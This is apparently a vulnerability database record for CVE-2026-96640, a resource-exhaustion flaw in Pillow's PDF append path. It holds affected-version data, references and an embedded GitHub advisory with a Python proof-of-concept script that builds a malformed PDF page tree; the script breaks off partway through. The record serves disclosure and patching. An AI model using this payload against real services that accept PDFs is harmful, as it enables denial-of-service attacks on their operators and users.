{"id":"CVE-2026-96640","aliases":["ALSA-2026:92639","BIT-pillow-2026-96640","CLSA-2026-1792576513","CLSA-2026-1792580209","CLSA-2026-1792580364","CLSA-2026-1792631285","CLSA-2026-1792648426","CLSA-2026-1792648427","DEBIAN-CVE-2026-96640","EUVD-2026-107570","GHSA-mrfp-p49p-3hf2","RLSA-2026:92639","SUSE-SU-2026:5038-1","UBUNTU-CVE-2026-96640","openSUSE-SU-2026:12251-1","openSUSE-SU-2026:22246-1"],"status":"published","title":"Pillow PDF append accepts malformed shared page-tree DAG causing resource exhaustion","description":"Pillow is a Python imaging library. From 5.1.0 until 13.0.0, PdfParser.linearize_page_tree() in src/PIL/PdfParser.py treats a PDF /Pages graph as a tree without tracking duplicate indirect references. When Image.save(..., format=\"PDF\", append=True) processes an attacker-controlled existing PDF whose /Kids arrays repeatedly reference the same child /Pages node, Pillow expands the shared subtree as distinct pages. A compact malformed PDF can therefore create exponentially many page references and consume disproportionate CPU before the append completes. This issue is fixed in version 13.0.0.","severity":{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00604,"percentile":0.49374,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-400","CWE-407"],"published":"2026-10-21T09:55:13Z","modified":"2026-11-11T17:27:06Z","fixes":[{"ecosystem":"PyPI","package":"pillow","fixed_in":["13.0.0"],"sources":["ghsa","osv"]},{"ecosystem":"Bitnami","package":"pillow","fixed_in":["13.0.0"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"5.1.0"},{"fixed":"13.0.0"}]}]},{"source":"osv","ecosystem":"AlmaLinux:8","package":"python3-pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.1.1-33.el8_10"}]}],"bundled":10},{"source":"osv","ecosystem":"AlmaLinux:8","package":"python3-pillow-devel","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.1.1-33.el8_10"}]}],"bundled":10},{"source":"osv","ecosystem":"AlmaLinux:8","package":"python3-pillow-doc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.1.1-33.el8_10"}]}],"bundled":10},{"source":"osv","ecosystem":"AlmaLinux:8","package":"python3-pillow-tk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.1.1-33.el8_10"}]}],"bundled":10},{"source":"osv","ecosystem":"Bitnami","package":"pillow","ranges":[{"type":"SEMVER","events":[{"introduced":"5.1.0"},{"fixed":"13.0.0"}]}]},{"source":"osv","ecosystem":"TuxCare:PyPI","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.3.0"},{"fixed":"11.3.0.post7+tuxcare"}]}],"versions":["11.3.0","11.3.0.post1+tuxcare","11.3.0.post2+tuxcare","11.3.0.post3+tuxcare","11.3.0.post4+tuxcare","11.3.0.post5+tuxcare","11.3.0.post6+tuxcare"],"bundled":11},{"source":"osv","ecosystem":"TuxCare:PyPI","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.2.1"},{"fixed":"11.2.1.post9+tuxcare"}]}],"versions":["11.2.1","11.2.1.post1+tuxcare","11.2.1.post2+tuxcare","11.2.1.post3+tuxcare","11.2.1.post4+tuxcare","11.2.1.post5+tuxcare","11.2.1.post6+tuxcare","11.2.1.post7+tuxcare","11.2.1.post8+tuxcare"],"bundled":11},{"source":"osv","ecosystem":"TuxCare:PyPI","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.4.0"},{"fixed":"10.4.0.post11+tuxcare"}]}],"versions":["10.4.0","10.4.0.post1+tuxcare","10.4.0.post10+tuxcare","10.4.0.post2+tuxcare","10.4.0.post3+tuxcare","10.4.0.post4+tuxcare","10.4.0.post5+tuxcare","10.4.0.post6+tuxcare","10.4.0.post7+tuxcare","10.4.0.post8+tuxcare","10.4.0.post9+tuxcare"],"bundled":11},{"source":"osv","ecosystem":"TuxCare:PyPI","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.5.0"},{"fixed":"9.5.0.post9+tuxcare"}]}],"versions":["9.5.0","9.5.0.post1+tuxcare","9.5.0.post2+tuxcare","9.5.0.post3+tuxcare","9.5.0.post4+tuxcare","9.5.0.post5+tuxcare","9.5.0.post6+tuxcare","9.5.0.post7+tuxcare","9.5.0.post8+tuxcare"],"bundled":11},{"source":"osv","ecosystem":"TuxCare:PyPI","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.4.0"},{"fixed":"9.4.0.post10+tuxcare"}]}],"versions":["9.4.0","9.4.0.post1+tuxcare","9.4.0.post2+tuxcare","9.4.0.post3+tuxcare","9.4.0.post4+tuxcare","9.4.0.post5+tuxcare","9.4.0.post6+tuxcare","9.4.0.post7+tuxcare","9.4.0.post8+tuxcare","9.4.0.post9+tuxcare"],"bundled":10},{"source":"osv","ecosystem":"TuxCare:PyPI","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.4.0"},{"fixed":"8.4.0.post9+tuxcare"}]}],"versions":["8.4.0","8.4.0.post1+tuxcare","8.4.0.post2+tuxcare","8.4.0.post3+tuxcare","8.4.0.post4+tuxcare","8.4.0.post5+tuxcare","8.4.0.post6+tuxcare","8.4.0.post7+tuxcare","8.4.0.post8+tuxcare"],"bundled":9},{"source":"osv","ecosystem":"Debian:12","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["10.0.0-1","10.1.0-1","10.2.0-1","10.3.0-1","10.3.0-2","10.4.0-1","10.4.0-1.1","11.1.0-1","11.1.0-2","11.1.0-3","11.1.0-4","11.1.0-5","11.2.1-1","11.3.0-1","12.0.0-1","12.1.0-1","12.1.1-1","12.1.1-2","12.2.0-1","12.3.0-1","13.0.0-1","9.4.0-1.1","9.4.0-1.1+deb12u1","9.5.0-1"]},{"source":"osv","ecosystem":"Debian:13","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["11.1.0-5","11.1.0-5+deb13u1","11.1.0-5+deb13u2","11.1.0-5+deb13u3","11.1.0-5+deb13u4","11.2.1-1","11.3.0-1","12.0.0-1","12.1.0-1","12.1.1-1","12.1.1-2","12.2.0-1","12.3.0-1","13.0.0-1"]},{"source":"osv","ecosystem":"Debian:14","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["11.1.0-5","11.2.1-1","11.3.0-1","12.0.0-1","12.1.0-1","12.1.1-1","12.1.1-2","12.2.0-1","12.3.0-1","13.0.0-1"]},{"source":"osv","ecosystem":"PyPI","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"5.1.0"},{"fixed":"13.0.0"}]}],"versions":["10.0.0","10.0.1","10.1.0","10.2.0","10.3.0","10.4.0","11.0.0","11.1.0","11.2.1","11.3.0","12.0.0","12.1.0","12.1.1","12.2.0","12.3.0","5.1.0","5.2.0","5.3.0","5.4.0","5.4.0.dev0","5.4.1","6.0.0","6.1.0","6.2.0","6.2.1","6.2.2","7.0.0","7.1.0","7.1.1","7.1.2","7.2.0","8.0.0","8.0.1","8.1.0","8.1.1","8.1.2","8.2.0","8.3.0","8.3.1","8.3.2","8.4.0","9.0.0","9.0.1","9.1.0","9.1.1","9.2.0","9.3.0","9.4.0","9.5.0"]},{"source":"osv","ecosystem":"Rocky Linux:8","package":"python-pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.1.1-33.el8_10"}]}],"bundled":10},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Package Hub 15 SP7","package":"python-Pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.2.0-150300.3.33.1"}]}],"bundled":29},{"source":"osv","ecosystem":"Ubuntu:Pro:18.04:LTS","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["4.1.1-3build2","4.3.0-2ubuntu1","5.0.0-1","5.1.0-1","5.1.0-1ubuntu0.2","5.1.0-1ubuntu0.3","5.1.0-1ubuntu0.4","5.1.0-1ubuntu0.5","5.1.0-1ubuntu0.6","5.1.0-1ubuntu0.7","5.1.0-1ubuntu0.8","5.1.0-1ubuntu0.8+esm1","5.1.0-1ubuntu0.8+esm2"]},{"source":"osv","ecosystem":"Ubuntu:Pro:20.04:LTS","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["6.1.0-1","6.1.0-1build1","6.2.1-2","7.0.0-4","7.0.0-4build1","7.0.0-4ubuntu0.1","7.0.0-4ubuntu0.2","7.0.0-4ubuntu0.3","7.0.0-4ubuntu0.4","7.0.0-4ubuntu0.5","7.0.0-4ubuntu0.6","7.0.0-4ubuntu0.7","7.0.0-4ubuntu0.8","7.0.0-4ubuntu0.9","7.0.0-4ubuntu0.9+esm1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:20.04:LTS","package":"pillow-python2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["6.2.1-3~build1","6.2.1-3","6.2.1-3ubuntu0.1~esm1","6.2.1-3ubuntu0.1~esm2"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["8.1.2+dfsg-0.3","9.0.0-1","9.0.1-1","9.0.1-1build1","9.0.1-1ubuntu0.1","9.0.1-1ubuntu0.2","9.0.1-1ubuntu0.3","9.0.1-1ubuntu0.4","9.0.1-1ubuntu0.5","9.0.1-1ubuntu0.6"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["10.0.0-1","10.1.0-1","10.2.0-1","10.2.0-1build1","10.2.0-1ubuntu1","10.2.0-1ubuntu1.2","10.2.0-1ubuntu1.3","10.2.0-1ubuntu1.4"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["12.1.1-2ubuntu1","12.3.0-1ubuntu1"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["11.3.0-1ubuntu1","11.3.0-1ubuntu2","12.0.0-1ubuntu1","12.1.1-1ubuntu1","12.1.1-2ubuntu1","12.1.1-2ubuntu1.1","12.1.1-2ubuntu1.2","12.1.1-2ubuntu1.3","12.1.1-2ubuntu1.4"]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"python-Pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.0.0-2.1"}]}],"bundled":6},{"source":"osv","ecosystem":"openSUSE:Leap 16.0","package":"python-Pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"11.3.0-160000.9.1"}]}],"bundled":39}],"products":[{"vendor":"python","product":"pillow"},{"vendor":"python-pillow","product":"pillow"}],"references":[{"url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-mrfp-p49p-3hf2","tags":["x_refsource_CONFIRM","exploit","Vendor Advisory","advisory","web","report"]},{"url":"https://github.com/python-pillow/Pillow/pull/10093","tags":["x_refsource_MISC","Issue Tracking","report","fix","web"]},{"url":"https://github.com/python-pillow/Pillow/commit/6f0e7ee1f9c2fe227906f8a4b926e6622b702bc7","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/python-pillow/Pillow/releases/tag/13.0.0","tags":["x_refsource_MISC","Release Notes","article","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96640","tags":["web","advisory"]},{"url":"https://github.com/advisories/GHSA-mrfp-p49p-3hf2"},{"url":"https://access.redhat.com/errata/RHSA-2026:92639","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-112391","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-112392","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-112397","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-112402","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-112405","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-112406","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-112892","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-112894","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-112895","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-96640","tags":["report"]},{"url":"https://bugzilla.redhat.com/2555851","tags":["report"]},{"url":"https://bugzilla.redhat.com/2555859","tags":["report"]},{"url":"https://bugzilla.redhat.com/2555866","tags":["report"]},{"url":"https://bugzilla.redhat.com/2555868","tags":["report"]},{"url":"https://bugzilla.redhat.com/2555873","tags":["report"]},{"url":"https://bugzilla.redhat.com/2555875","tags":["report"]},{"url":"https://bugzilla.redhat.com/2555879","tags":["report"]},{"url":"https://bugzilla.redhat.com/2556322","tags":["report"]},{"url":"https://bugzilla.redhat.com/2558576","tags":["report"]},{"url":"https://bugzilla.redhat.com/2559393","tags":["report"]},{"url":"https://errata.almalinux.org/8/ALSA-2026-92639.html","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/96xxx/CVE-2026-96640.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-96640","tags":["advisory"]},{"url":"https://github.com/python-pillow/Pillow","tags":["package"]},{"url":"https://errata.rockylinux.org/RLSA-2026:92639","tags":["advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2555851","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2555859","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2555866","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2555868","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2555873","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2555875","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2555879","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2556322","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2558576","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2559393","tags":["report"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-20265038-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1286256","tags":["report"]},{"url":"https://bugzilla.suse.com/1286273","tags":["report"]},{"url":"https://bugzilla.suse.com/1286287","tags":["report"]},{"url":"https://bugzilla.suse.com/1286311","tags":["report"]},{"url":"https://bugzilla.suse.com/1286314","tags":["report"]},{"url":"https://bugzilla.suse.com/1286325","tags":["report"]},{"url":"https://bugzilla.suse.com/1286368","tags":["report"]},{"url":"https://bugzilla.suse.com/1286370","tags":["report"]},{"url":"https://bugzilla.suse.com/1286372","tags":["report"]},{"url":"https://bugzilla.suse.com/1286381","tags":["report"]},{"url":"https://bugzilla.suse.com/1286396","tags":["report"]},{"url":"https://bugzilla.suse.com/1286397","tags":["report"]},{"url":"https://bugzilla.suse.com/1286398","tags":["report"]},{"url":"https://bugzilla.suse.com/1286400","tags":["report"]},{"url":"https://bugzilla.suse.com/1286401","tags":["report"]},{"url":"https://bugzilla.suse.com/1286402","tags":["report"]},{"url":"https://bugzilla.suse.com/1286403","tags":["report"]},{"url":"https://bugzilla.suse.com/1286404","tags":["report"]},{"url":"https://bugzilla.suse.com/1286405","tags":["report"]},{"url":"https://bugzilla.suse.com/1286406","tags":["report"]},{"url":"https://bugzilla.suse.com/1286408","tags":["report"]},{"url":"https://bugzilla.suse.com/1286411","tags":["report"]},{"url":"https://bugzilla.suse.com/1286489","tags":["report"]},{"url":"https://bugzilla.suse.com/1286796","tags":["report"]},{"url":"https://bugzilla.suse.com/1286797","tags":["report"]},{"url":"https://bugzilla.suse.com/1286798","tags":["report"]},{"url":"https://bugzilla.suse.com/1286801","tags":["report"]},{"url":"https://bugzilla.suse.com/1286802","tags":["report"]},{"url":"https://bugzilla.suse.com/1286804","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2026-112390","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-112391","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-112392","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-112393","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-112394","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-112397","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-112398","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-112399","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-112400","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-112401","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-112402","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-112403","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-112405","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-112406","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-112891","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-112892","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-112894","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-112895","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-112896","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-112897","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-112899","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-112900","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-112901","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-112902","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-96636","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-96637","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-96640","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-96641","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-96642","tags":["web"]},{"url":"https://ubuntu.com/security/CVE-2026-96640","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-96640","tags":["report"]},{"url":"","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2026-96638","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-96778","tags":["web"]},{"url":"https://bugzilla.suse.com/1286312","tags":["report"]},{"url":"https://bugzilla.suse.com/1286313","tags":["report"]},{"url":"https://bugzilla.suse.com/1286388","tags":["report"]},{"url":"https://bugzilla.suse.com/1286392","tags":["report"]},{"url":"https://bugzilla.suse.com/1286399","tags":["report"]},{"url":"https://bugzilla.suse.com/1286793","tags":["report"]},{"url":"https://bugzilla.suse.com/1286795","tags":["report"]},{"url":"https://bugzilla.suse.com/1286799","tags":["report"]},{"url":"https://bugzilla.suse.com/1286800","tags":["report"]},{"url":"https://bugzilla.suse.com/1286803","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2026-112395","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-112396","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-112404","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-112893","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-112898","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-114501","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-96639","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-96643","tags":["web"]}],"sources":{"cve":[{"id":"CVE-2026-96640","title":"Pillow PDF append accepts malformed shared page-tree DAG causing resource exhaustion","description":"Pillow is a Python imaging library. From 5.1.0 until 13.0.0, PdfParser.linearize_page_tree() in src/PIL/PdfParser.py treats a PDF /Pages graph as a tree without tracking duplicate indirect references. When Image.save(..., format=\"PDF\", append=True) processes an attacker-controlled existing PDF whose /Kids arrays repeatedly reference the same child /Pages node, Pillow expands the shared subtree as distinct pages. A compact malformed PDF can therefore create exponentially many page references and consume disproportionate CPU before the append completes. This issue is fixed in version 13.0.0.","status":"published","published":"2026-10-21T21:03:22.785Z","modified":"2026-10-28T01:57:01.68Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna"}],"cwes":["CWE-400","CWE-407"],"updated_at":"2026-11-02T14:20:00.511569Z"}],"euvd":[{"id":"EUVD-2026-107570","description":"Pillow is a Python imaging library. From 5.1.0 until 13.0.0, PdfParser.linearize_page_tree() in src/PIL/PdfParser.py treats a PDF /Pages graph as a tree without tracking duplicate indirect references. When Image.save(..., format=\"PDF\", append=True) processes an attacker-controlled existing PDF whose /Kids arrays repeatedly reference the same child /Pages node, Pillow expands the shared subtree as distinct pages. A compact malformed PDF can therefore create exponentially many page references and consume disproportionate CPU before the append completes. This issue is fixed in version 13.0.0.","status":"published","published":"2026-10-21T21:03:22Z","modified":"2026-10-28T01:57:01Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T16:59:21.611262Z"}],"ghsa":[{"id":"GHSA-mrfp-p49p-3hf2","title":"Pillow PDF append accepts malformed shared page-tree DAG causing resource exhaustion","description":"### Summary\nPillow's documented PDF append path can spend disproportionate CPU time on a compact malformed PDF page tree.\n\nAn attacker who can supply an existing PDF to an application that appends an image with `Image.save(..., format=\"PDF\", append=True)` can provide a malformed `/Pages` tree where each level repeats the same child `/Pages` reference in `/Kids`. Pillow treats the graph as a tree and expands each repeated reference in `PdfParser.linearize_page_tree()` without tracking visited or duplicate indirect references.\n\nIn the bounded proof below, a `1410`-byte PDF expands to `8192` page references from one distinct page object and takes about `9.6` seconds through the append path. A comparable linear control with the same depth stays at one page reference and completes in about `0.02` seconds.\n\nThis is in scope for Pillow's security policy because it is reproducible in `main`, affects the latest public release tested (`12.3.0`), and is not just an unexpected Python exception. The vulnerable operation accepts attacker-controlled PDF bytes through Pillow's PDF parser and causes deterministic resource consumption before normal completion.\n\n### Details\n\n#### Affected versions\n\n- Package: `Pillow`\n- Ecosystem: `pip` / PyPI\n- Affected component: `src/PIL/PdfParser.py` page-tree traversal reached from `src/PIL/PdfImagePlugin.py` PDF append handling\n- Runtime-tested affected release: `12.3.0`\n- Runtime-tested affected development version: `13.0.0.dev0`\n- Tested commit: `b39b9649312fbc381060e8c7c7f9f0de4cc63daa`\n- Current source artifact hash: `sha256(git archive --format=tar HEAD) = 2ccefca23d432456765be8d3c34564c65ba016b0c9da1e44ca389762f7eda054`\n- Release `12.3.0` commit: `bb1d8e8ab8d29048624d96e3ee53cecf7c13d13d`\n- Release `12.3.0` source artifact hash: `sha256(git archive --format=tar 12.3.0) = 94bed33fd20123938dbc0153d295250bb4e3c09251b6d4a34f7595e25d409c81`\n- Source-level affected: `5.1.0`, `12.2.0`, `12.3.0`, and `HEAD`\n- Likely affected range: `\u003e= 5.1.0`\n- Patched versions: none known\n\nEvidence fact strings:\n\n- Runtime-tested affected: 12.3.0\n- Runtime-tested affected: 13.0.0.dev0 at b39b9649312fbc381060e8c7c7f9f0de4cc63daa\n- Source-level affected: 5.1.0\n- Source-level affected: 12.2.0\n- Source-level affected: HEAD\n- Likely affected range: \u003e= 5.1.0, no fixed version known\n- Pre-boundary note: 5.0.0 has PdfImagePlugin.py but no src/PIL/PdfParser.py\n\n`5.0.0` contains `src/PIL/PdfImagePlugin.py` but does not contain `src/PIL/PdfParser.py`. `PdfParser.py` was introduced by `6207b44ab1ff4a91d8ddc7579619876d0bb191a4` (`2018-01-18 issue #2959: support appending to existing PDFs`), which shipped in `5.1.0`.\n\n#### Technical details\n\nThe reachable path is:\n\n1. A service or application receives an attacker-influenced existing PDF and appends an image using Pillow's public PDF save path:\n\n   ```python\n   Image.new(\"L\", (1, 1), 0).save(existing_pdf_file, format=\"PDF\", append=True)\n   ```\n\n2. `src/PIL/PdfImagePlugin.py` routes `append=True` to `PdfParser`:\n\n   ```python\n   is_appending = im.encoderinfo.get(\"append\", False)\n   filename_str = filename.decode() if isinstance(filename, bytes) else filename\n   if is_appending:\n       existing_pdf = PdfParser.PdfParser(f=fp, filename=filename_str, mode=\"r+b\")\n   else:\n       existing_pdf = PdfParser.PdfParser(f=fp, filename=filename_str, mode=\"w+b\")\n   ```\n\n3. `src/PIL/PdfParser.py` parses the existing PDF and linearizes the page tree:\n\n   ```python\n   self.page_tree_root = self.read_indirect(self.pages_ref)\n   self.pages = self.linearize_page_tree(self.page_tree_root)\n   self.orig_pages = self.pages[:]\n   ```\n\n4. `linearize_page_tree()` recursively follows every `/Kids` entry and extends the page list. It does not track page-tree node identity, duplicate references, or active traversal references:\n\n   ```python\n   def linearize_page_tree(\n       self, node: PdfDict | None = None\n   ) -\u003e list[IndirectReference]:\n       page_node = node if node is not None else self.page_tree_root\n       check_format_condition(\n           page_node[b\"Type\"] == b\"Pages\", \"/Type of page tree node is not /Pages\"\n       )\n       pages = []\n       for kid in page_node[b\"Kids\"]:\n           kid_object = self.read_indirect(kid)\n           if kid_object[b\"Type\"] == b\"Page\":\n               pages.append(kid)\n           else:\n               pages.extend(self.linearize_page_tree(node=kid_object))\n       return pages\n   ```\n\n5. During append, `rewrite_pages()` then iterates the expanded `orig_pages` list and scans/replaces entries in `self.pages`, adding more cost to the already expanded duplicate-reference list.\n\nThe missing invariant is:\n\n```text\nThe PDF page tree should be treated as an acyclic tree of unique indirect references before Pillow builds pages/orig_pages or rewrites pages.\n```\n\nThe proof intentionally uses a malformed PDF page-tree DAG: each `/Pages` node repeats the same next `/Pages` child reference twice. Pillow accepts this graph and expands it as if the repeated reference represented distinct subtrees.\n\n### PoC\n\nEnvironment used for validation:\n\n- OS/runtime: Linux, Python `3.13.11`\n- Current tested build: Pillow `13.0.0.dev0`, commit `b39b9649312fbc381060e8c7c7f9f0de4cc63daa`\n- Latest release tested: Pillow `12.3.0`\n- The proof uses only synthetic in-memory PDFs and does not contact the network.\n\nSave this as `poc_pillow_pdf_page_tree_dag.py`:\n\n```python\n#!/usr/bin/env python3\nfrom __future__ import annotations\n\nimport io\nimport json\nimport sys\nimport time\n\nfrom PIL import Image, PdfParser\nimport PIL\n\n\ndef make_page_tree_pdf(depth: int, fanout: int) -\u003e bytes:\n    if fanout not in (1, 2):\n        raise ValueError(\"fanout must be 1 or 2\")\n\n    objects: list[bytes] = [b\"\u003c\u003c /Type /Catalog /Pages 2 0 R \u003e\u003e\"]\n    for object_id in range(2, depth + 3):\n        next_id = object_id + 1\n        kids = b\" \".join(f\"{next_id} 0 R\".encode(\"ascii\") for _ in range(fanout))\n        parent = b\"\" if object_id == 2 else f\" /Parent {object_id - 1} 0 R\".encode()\n        objects.append(b\"\u003c\u003c /Type /Pages /Kids [ \" + kids + b\" ]\" + parent + b\" \u003e\u003e\")\n    objects.append(f\"\u003c\u003c /Type /Page /Parent {depth + 2} 0 R \u003e\u003e\".encode(\"ascii\"))\n\n    result = bytearray(b\"%PDF-1.4\\n\")\n    offsets = [0]\n    for object_id, value in enumerate(objects, start=1):\n        offsets.append(len(result))\n        result.extend(f\"{object_id} 0 obj\\n\".encode(\"ascii\"))\n        result.extend(value)\n        result.extend(b\"\\nendobj\\n\")\n\n    xref_offset = len(result)\n    result.extend(f\"xref\\n0 {len(objects) + 1}\\n\".encode(\"ascii\"))\n    result.extend(b\"0000000000 65535 f \\n\")\n    for offset in offsets[1:]:\n        result.extend(f\"{offset:010d} 00000 n \\n\".encode(\"ascii\"))\n    result.extend(\n        f\"trailer\\n\u003c\u003c /Size {len(objects) + 1} /Root 1 0 R \u003e\u003e\\n\"\n        f\"startxref\\n{xref_offset}\\n%%EOF\\n\".encode(\"ascii\")\n    )\n    return bytes(result)\n\n\ndef run_case(depth: int, fanout: int) -\u003e dict[str, object]:\n    payload = make_page_tree_pdf(depth, fanout)\n    expected_refs = fanout ** (depth + 1)\n\n    start = time.monotonic()\n    with PdfParser.PdfParser(buf=payload) as pdf:\n        observed_refs = len(pdf.pages)\n        distinct_refs = len(set(pdf.pages))\n    parse_seconds = time.monotonic() - start\n\n    output = io.BytesIO(payload)\n    start = time.monotonic()\n    Image.new(\"L\", (1, 1), 0).save(output, format=\"PDF\", append=True)\n    append_seconds = time.monotonic() - start\n\n    return {\n        \"fanout\": fanout,\n        \"depth\": depth,\n        \"input_bytes\": len(payload),\n        \"expected_refs\": expected_refs,\n        \"observed_refs\": observed_refs,\n        \"distinct_refs\": distinct_refs,\n        \"parse_seconds\": round(parse_seconds, 6),\n        \"append_seconds\": round(append_seconds, 6),\n        \"output_bytes_after_append\": len(output.getvalue()),\n    }\n\n\ndef main() -\u003e int:\n    depth = int(sys.argv[1]) if len(sys.argv) 